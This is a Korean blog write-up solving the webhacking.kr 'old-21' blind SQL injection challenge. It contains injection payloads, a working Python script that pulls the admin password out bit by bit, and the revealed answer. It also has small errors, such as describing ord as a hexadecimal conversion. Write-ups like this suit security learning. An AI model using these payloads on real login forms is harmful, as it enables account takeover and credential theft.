Web/webhacking.kr

Webhacking.kr / old-21

supp0rt 2024. 8. 30. 10:59

문제

Blind SQL Injection 문제이다

풀이

흔히 문제에서 많이 사용하는 guest / guest를 입력해보자

login success

 

하지만 우리는 admin의 계정을 탈취하는 것을 목적으로 수행한다

admin / 'or 1=1# 을 넣은 모습

 

admin / 'and 1=0#을 넣은 모습

결과값이 다른 것을 확인할 수 있다

 

즉 admin / 'or =1=1#을 넣었을 경우 DB에서 결과값을 돌려주지만 php 코드에서 결과값을 한번 더 확인 한 뒤 사용자에게 보여주는 것 같다

wrong password = DB내 존재

login fail = DB 내 존재 X

 

이를 이용하여 Blind SQL Injection 수행

 

BLIND SQLI

1. admin password 길이 확인

2. bit masking or lpad & bin & ord 를 활용해서 비밀번호 확인

3. 입력

 

더보기

?id=admin&pw=there_is_no_rest_for_the_white_angel

코드

더보기
import requests

url = f"https://webhacking.kr/challenge/bonus-1/index.php"
cookie = {"PHPSESSID" :"7pdsfjlgprn9fr1qkb0rbr8hq7"} 

def find_length(url,cookie):
    i = 0
    while True:
        i = i + 1
        id="admin"
        pw=f"'or%201=1%20and%20id='admin'%20and%20length(pw)>{i}%23"
        
        payload = f"?id={id}&pw={pw}"
        cookie = cookie 
        send_url = url +payload
        # print(send_url)
        res = requests.get(url=send_url, cookies=cookie)

        if "login fail" in res.text:
            print(f"\nresult : {i}")
            return i
        else:
            print(f"length : {i}")

def find_password(url, cookie, length):
    result_str = []
    for i in range(1,length + 1):
        bit_masking = 2
        result = ""
        for k in range(8):
            bit_masking = 2 ** k
            id="admin"
            pw=f"'or%201%20and%20id='admin'%20and%20ascii(substr(pw,{i},1))%26{bit_masking}%23"
            payload = f"?id={id}&pw={pw}"
            send_url = url + payload
            res = requests.get(url=send_url,cookies=cookie)

            if "login fail" in res.text:
                result = "0" + result
            else:
                result = "1" + result
            # print(f"result = {result}")
        print(f"{i} result : {result}")
        result = chr(int(result,2))
        result_str.append(result)
    return result_str

length = find_length(url,cookie)
print("------------")
str = find_password(url, cookie, length)
print(str)

lpad & bin & ord 사용법

 

lpad(example, 8, 0) => example의 길이 중 8자리가 되지 않을 시 왼쪽부터 0으로 채움

bin => 2진수로 변환

ord => 16진수 변환

 

example = "a"일때

 

lpad(bin(ord(example))),8,0) => 01000001